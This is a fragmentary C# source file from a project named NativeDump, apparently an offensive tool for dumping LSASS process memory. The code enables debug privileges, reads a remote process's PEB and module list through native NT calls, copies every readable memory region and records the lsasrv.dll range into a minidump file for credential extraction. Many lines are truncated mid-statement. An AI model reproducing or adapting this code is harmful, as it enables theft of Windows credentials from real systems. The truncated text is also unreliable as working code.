NativeDump / NativeDump / Program.cs

History

```
using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using static NativeDump.Win32;
using static NativeDump.CreateFile;

namespace NativeDump
{
    internal class Program
    {
        static void EnableDebugPrivileges()
        {
            IntPtr currentProcess = Process.GetCurrentProcess().Handle;
            IntPtr tokenHandle = IntPtr.Zero;
            try
            {
                uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS:
                    Environment.Exit(-1);
                }

                TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
                {
                    PrivilegeCount = 1,
                    Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeV
                    Attributes = 0x00000002
                };

                ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivile
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTA
                    Environment.Exit(-1);
                }
            }
            finally
            {
                if (tokenHandle != IntPtr.Zero)
                {
                    NtClose(tokenHandle);
                }
            }
        }


        public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
        {
            byte[] buff = new byte[8];
            uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Lengt
            if (ntstatus != 0)
            {
                Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x"
            }
            long value = BitConverter.ToInt64(buff, 0);
```

```
            long value = BitConverter.ToInt64(buff, 0);
            return (IntPtr)value;
        }


        public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
        {
            byte[] buff = new byte[256];
            uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Lengt
            if (ntstatus != 0)
            {
                Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x"
            }
            string unicode_str = "";
            for (int i = 0; i < buff.Length - 1; i += 2)
            {
                if (buff[i] == 0 && buff[i + 1] == 0) { break; }
                unicode_str += BitConverter.ToChar(buff, i);
            }
            return unicode_str;
        }

        public unsafe static IntPtr CustomGetModuleHandle(IntPtr hProcess, String dll_n
        {
            uint process_basic_information_size = 48;
            int peb_offset = 0x8;
            int ldr_offset = 0x18;
            int inInitializationOrderModuleList_offset = 0x30;
            int flink_dllbase_offset = 0x20;
            int flink_buffer_offset = 0x50;
            // If 32-bit process these offsets change
            if (IntPtr.Size == 4)
            {
                process_basic_information_size = 24;
                peb_offset = 0x4;
                ldr_offset = 0x0c;
                inInitializationOrderModuleList_offset = 0x1c;
                flink_dllbase_offset = 0x18;
                flink_buffer_offset = 0x30;
            }

            // Create byte array with the size of the PROCESS_BASIC_INFORMATION structu
            byte[] pbi_byte_array = new byte[process_basic_information_size];

            // Create a PROCESS_BASIC_INFORMATION structure in the byte array
            IntPtr pbi_addr = IntPtr.Zero;
            fixed (byte* p = pbi_byte_array)
            {
                pbi_addr = (IntPtr)p;

                uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, proc
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTS
                }
                Console.WriteLine("[+] Process_Basic_Information Address: \t\t0x" + pbi
            }

            // Get PEB Base Address
            IntPtr peb_pointer = pbi_addr + peb_offset;
            Console.WriteLine("[+] PEB Address Pointer:\t\t\t0x" + peb_pointer.ToString
```

```
204
205                 while ((long)mem_address < proc_max_address_l)
206                 {
```

```
207                 // Populate MEMORY_BASIC_INFORMATION struct
208                 MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
209                 ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, Mem
210                 if (ntstatus != 0)
211                 {
212                     Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS
213                 }
214 
215                 // If readable and commited --> Write memory region to a file
216                 if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
217                 {
218                     // Add to Memory64Info list
219                     Memory64Info mem64info = new Memory64Info();
220                     mem64info.Address = mbi.BaseAddress;
221                     mem64info.Size = mbi.RegionSize;
222                     mem64info_List.Add(mem64info);
223 
224                     // Dump memory
225                     byte[] buffer = new byte[(int)mbi.RegionSize];
226                     ntstatus = NtReadVirtualMemory(processHandle, mbi.BaseAddress, buff
227                     if (ntstatus != 0 && ntstatus != 0x8000000D)
228                     {
229                         Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTA
230                     }
231                     byte[] new_bytearray = new byte[memory_regions.Length + buffer.Leng
232                     Buffer.BlockCopy(memory_regions, 0, new_bytearray, 0, memory_region
233                     Buffer.BlockCopy(buffer, 0, new_bytearray, memory_regions.Length, b
234                     memory_regions = new_bytearray;
235 
236                     // Calculate size of lsasrv.dll region
237                     if (mbi.BaseAddress == lsasrvdll_address)
238                     {
239                         bool_test = true;
242                     {
243                         if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvd
244                         {
245                             bool_test = false;
246                         }
247                         else
248                         {
249                             lsasrvdll_size += (int)mbi.RegionSize;
250                         }
251                     }
252                 }
253                 // Next memory region
254                 mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize);
255             }
256 
257             // Get file name
258             string dumpfile = "proc_" + processPID + ".dmp";
259             if (args.Length > 0)
260             {
261                 dumpfile = args[0];
262             }
263 
264             // Generate Minidump file
265             Console.WriteLine("[+] Lsasrv.dll Address:\t\t\t\t0x" + lsasrvdll_address.T
266             Console.WriteLine("[+] Lsasrv.dll Size:   \t\t\t\t0x" + lsasrvdll_size.ToSt
267             CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_re
268 
269             // Close process handle
270             ntstatus = NtClose(processHandle);
271             if (ntstatus != 0)
272             {
273                 Console.WriteLine("[-] Error calling NtClose. NTSTATUS: 0x" + ntstatus.
274             }
275         }
276     }
277 }
```